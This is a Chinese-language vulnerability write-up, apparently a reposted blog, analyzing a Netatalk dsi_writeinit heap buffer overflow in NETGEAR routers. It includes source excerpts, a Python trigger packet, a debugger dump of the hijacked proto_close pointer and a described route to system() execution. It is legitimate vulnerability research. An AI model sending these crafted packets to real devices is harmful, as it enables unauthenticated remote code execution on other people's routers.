原文始发于cq674350529's blog:Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router
Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router
前言
2022 年 11 月,SSD
发布了一个与 NETGEAR R7800
型号设备相关的漏洞公告。根据该公告,该漏洞存在于 Netatalk
组件 (对应的服务程序为 afpd
) 中,由于在处理接收的 DSI
数据包时,缺乏对数据包中某些字段的适当校验,在 dsi_writeinit()
中调用 memcpy()
时存在缓冲区溢出问题。利用该漏洞,攻击者可以在目标设备上实现任意代码执行,且无需认证。该漏洞公告中包含了漏洞的细节以及利用思路,但给出的 poc
脚本仅实现了控制流的劫持,缺少后续代码执行的部分。下面将基于 R8500
型号设备,对漏洞进行简单分析,并给出具体的利用方式。
漏洞分析
Netatalk
组件在很多 NAS
设备或小型路由器设备中都有应用,近几年吸引了很多安全研究人员的关注,陆续被发现存在多个高危漏洞,例如在近几年的 Pwn2Own 比赛中,好几个厂商的设备由于使用了该组件而被攻破,NETGEAR
厂商的部分路由器设备也不例外。
NETGEAR
厂商的很多路由器中使用的是很老版本的Netatalk
组件
该公告中受影响的目标设备为 R7800 V1.0.2.90
版本,而我手边有一个 R8500
型号的设备,在 R8500 V1.0.2.160
版本中去掉了该组件,因此将基于 R8500 V1.0.2.154
版本进行分析。在 NETGEAR
厂商的 GPL 页面,下载对应设备版本的源代码,其中包含 Netatalk
组件的源码,可以直接结合源码进行分析。以 R8500 V1.0.2.154
版本为例,其包含的 Netatalk
组件的版本为 2.2.5
,而该版本发布的时间在 2013 年,为一个很老的版本。
AFP
协议建立在 Data Stream Interface(DSI)
之上,DSI
是一个会话层,用于在 TCP
层上承载 AFP
协议的流量。在正常访问该服务时,大概的协议交互流程如下。

其中, 在 DSIOpenSession
请求执行成功后,后续将发送 DSICommand
请求,而处理该请求的代码存在于 afp_over_dsi()
中,部分代码片段如下。正常情况下,程序会在 (1)
处读取对应的请求数据包,之后在 (2)
处根据 cmd
的取值进入不同的处理分支。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
void afp_over_dsi(AFPObj *obj)
{
/* ... */
/* get stuck here until the end */
while (1) {
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi); // (1)
/* ... */
switch(cmd) { // (2)
case DSIFUNC_CLOSE:
/* ...*/
case DSIFUNC_TICKLE:
/* ... */
case DSIFUNC_CMD:
/* ... */
case DSIFUNC_WRITE:
/* ... */
case DSIFUNC_ATTN:
/* ... */
default:
LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
dsi_writeinit(dsi, dsi->data, DSI_DATASIZ); // (3)
/* ... */
|
函数 dsi_stream_receive()
的部分代码如下。可以看到,其会读取请求包中的数据,并保存到 dsi->header
和 dsi->commands
等中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
int dsi_stream_receive(DSI *dsi)
{
/* ... */
/* read in the header */
if (dsi_buffered_stream_read(dsi, (u_int8_t *)block, sizeof(block)) != sizeof(block))
return 0;
dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
/* ... */
memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_code, block + 4, sizeof(dsi->header.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);
/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), DSI_CMDSIZ);
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;
/* ... */
|
在 afp_over_dsi()
中,在 (2)
处,如果 cmd
的取值不满足对应的条件,将会进入 default
分支,dsi_writeinit()
函数将在 (3)
处被调用。函数 dsi_writeinit()
的部分代码如下。在该函数中,会根据 dsi->header.dsi_code
和 dsi->header.dsi_len
等字段来计算 dsi->datasize
,若其满足条件,则会在 (4)
处调用 memcpy()
。其中,len
参数与 sizeof(dsi->commands) - header
和 dsi->datasize
等相关。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)
{
size_t len, header;
/* figure out how much data we have. do a couple checks for 0
* data */
header = ntohl(dsi->header.dsi_code);
dsi->datasize = header ? ntohl(dsi->header.dsi_len) - header : 0;
if (dsi->datasize > 0) {
len = MIN(sizeof(dsi->commands) - header, dsi->datasize);
/* write last part of command buffer into buf */
memcpy(buf, dsi->commands + header, len); // (4) buffer overflow
/* .. */
|
根据前面 dsi_stream_receive()
的代码可知,dsi->header.dsi_code
和 dsi->header.dsi_len
字段的值来自于接收的数据包,dsi->commands
中的内容也来自于接收的数据包。也就是说,在调用 memcpy()
时,源缓冲区中保存的内容和待拷贝的长度参数均是用户可控的,而目标缓冲区 buf
即 dsi->data
的大小是固定的。因此,通过精心伪造一个数据包,可造成在调用 memcpy()
时出现缓冲区溢出,如下。
1 2 3 4 5 6 7 8 9 10 11 |
def create_block(command, dsi_code, dsi_len):
block = b'\x00' # dsi->header.dsi_flags
block += struct.pack("<B", command) # dsi->header.dsi_command
block += b'\x00\x00' # dsi->header.dsi_requestID
block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
block += b'\x00\x00\x00\x00' # dsi->header.dsi_reserved
return block
pkt = create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
pkt += b'A' * 8192
|
漏洞利用
首先,看一下 DSI
结构体的定义, 如下。dsi->data
的大小为 8192
,在发生溢出后,其后面的字段也会被覆盖, 包括 proto_open
和 proto_close
两个函数指针。因此,如果溢出后,后面的流程中会用到某个函数指针,就可以实现控制流劫持的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#define DSI_CMDSIZ 8192
#define DSI_DATASIZ 8192
typedef struct DSI {
/* ... */
u_int32_t attn_quantum, datasize, server_quantum;
u_int16_t serverID, clientID;
char *status;
u_int8_t commands[DSI_CMDSIZ], data[DSI_DATASIZ];
size_t statuslen;
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
const char *program;
int socket, serversock;
/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
/* ... */
} DSI;
|
回到 afp_over_dsi()
函数,在 while
循环中其会调用 dsi_stream_receive()
来读取对应的数据包。如果后续没有数据包了,则返回的 cmd
值为 0
,根据对应的 dsi->flags
,其会调用 afp_dsi_close()
或 dsi_disconnect()
,而这两个函数最终都会执行 dsi->proto_close(dsi)
。也就是说,在后续的正常流程中会使用函数指针 dsi->proto_close
,因此,通过溢出来修改该指针,即可劫持程序的控制流。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
void afp_over_dsi(AFPObj *obj)
{
/* ... */
/* get stuck here until the end */
while (1) {
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi); // (1)
if (cmd == 0) {
/* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
if (dsi->flags & DSI_AFP_LOGGED_OUT) {
LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
afp_dsi_close(obj);
exit(0);
}
if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}
if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}
/* Some error on the client connection, enter disconnected state */
if (dsi_disconnect(dsi) != 0)
afp_dsi_die(EXITERR_CLNT);
}
/* ... */
void dsi_close(DSI *dsi)
{
/* server generated. need to set all the fields. */
if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
dsi->header.dsi_flags = DSIFL_REQUEST;
dsi->header.dsi_command = DSIFUNC_CLOSE;
dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
dsi->header.dsi_code = dsi->header.dsi_reserved = htonl(0);
dsi->cmdlen = 0;
dsi_send(dsi);
dsi->proto_close(dsi); // hijack control flow
/* ... */
|
基于前面构造的数据包,在劫持控制流时,对应的上下文如下。可以看到,R3
寄存器的值已被覆盖,R4
和 R5
寄存器可控,同时 R0
和 R2
中包含指向 DSI
结构体的指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
──────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x6a2cc <dsi_close+272> movw r3, #16764 ; 0x417c
0x6a2d0 <dsi_close+276> ldr r3, [r2, r3]
0x6a2d4 <dsi_close+280> ldr r0, [r11, #-8] ; r0: points to dsi
●→ 0x6a2d8 <dsi_close+284> blx r3
0x6a2dc <dsi_close+288> ldr r0, [r11, #-8]
0x6a2e0 <dsi_close+292> bl 0x112c4 <free@plt>
0x6a2e4 <dsi_close+296> sub sp, r11, #4
0x6a2e8 <dsi_close+300> pop {r11, pc}
───────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x61616161 (
$r0 = 0x0e8498 → 0x0e1408 → 0x00000002,
$r1 = 0x000001,
$r2 = 0x0e8498 → 0x0e1408 → 0x00000002,
$r3 = 0x61616161
)
─────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x6a2d8 → dsi_close()
[#1] 0x1225c → afp_dsi_close()
[#2] 0x13994 → afp_over_dsi()
[#3] 0x116c8 → dsi_start()
[#4] 0x3f5f8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ i r
r0 0xe8498 0xe8498
r1 0x1 0x1
r2 0xe8498 0xe8498
r3 0x61616161 0x61616161
r4 0x58585858 0x58585858
r5 0x43385858 0x43385858
r6 0x7 0x7
r7 0xbec72f65 0xbec72f65
r8 0x10a3c 0x10a3c
r9 0x3e988 0x3e988
r10 0xbec72df8 0xbec72df8
r11 0xbec72c3c 0xbec72c3c
r12 0x401e0edc 0x401e0edc
sp 0xbec72c30 0xbec72c30
lr 0x6fffc 0x6fffc
pc 0x6a2d8 0x6a2d8 <dsi_close+284>
|
程序 afpd
启用的缓解机制如下,同时设备上的 ASLR
级别为 1
。DSI
结构体在堆上分配,故发送的数据包均存在于堆上,因此需要基于该上下文,找到合适的 gadgets
完成利用。
1 2 3 4 5 6 |
cq@ubuntu:~$ checksec --file ./afpd Arch: arm-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000) |
通过对 afpd
程序进行分析,最终找到一个可用的 gadget
,如下。其中,[R11-0x8]
中的值指向 DSI
结构体,整个执行的效果等价于 [dsi] = [dsi + 0x2834]; func_ptr = [dsi + 0x2830]; func_ptr([dsi])
。因为 DSI
结构体的地址是固定的,且偏移 0x2834
处的内容可控,通过精心构造数据包,可实现执行 system(arbitrary_cmd)
的效果。
针对不同型号的设备,具体的上下文可能不同,利用可能更简单或更麻烦。

最终效果如下。

小结
本文基于 R8500
型号设备,对其使用的 Netatalk
组件中存在的一个缓冲区溢出漏洞进行了分析。由于在处理接收的 DSI
数据包时,缺乏对数据包中某些字段的适当校验,在 dsi_writeinit()
中调用 memcpy()
时会出现缓冲区溢出。通过覆盖 DSI
结构体中的 proto_close
函数指针,可以劫持程序的控制流,并基于具体的漏洞上下文,实现了代码执行的目的。
相关链接
转载请注明:Analyzing an Old Netatalk dsi_writeinit Buffer Overflow Vulnerability in NETGEAR Router | CTF导航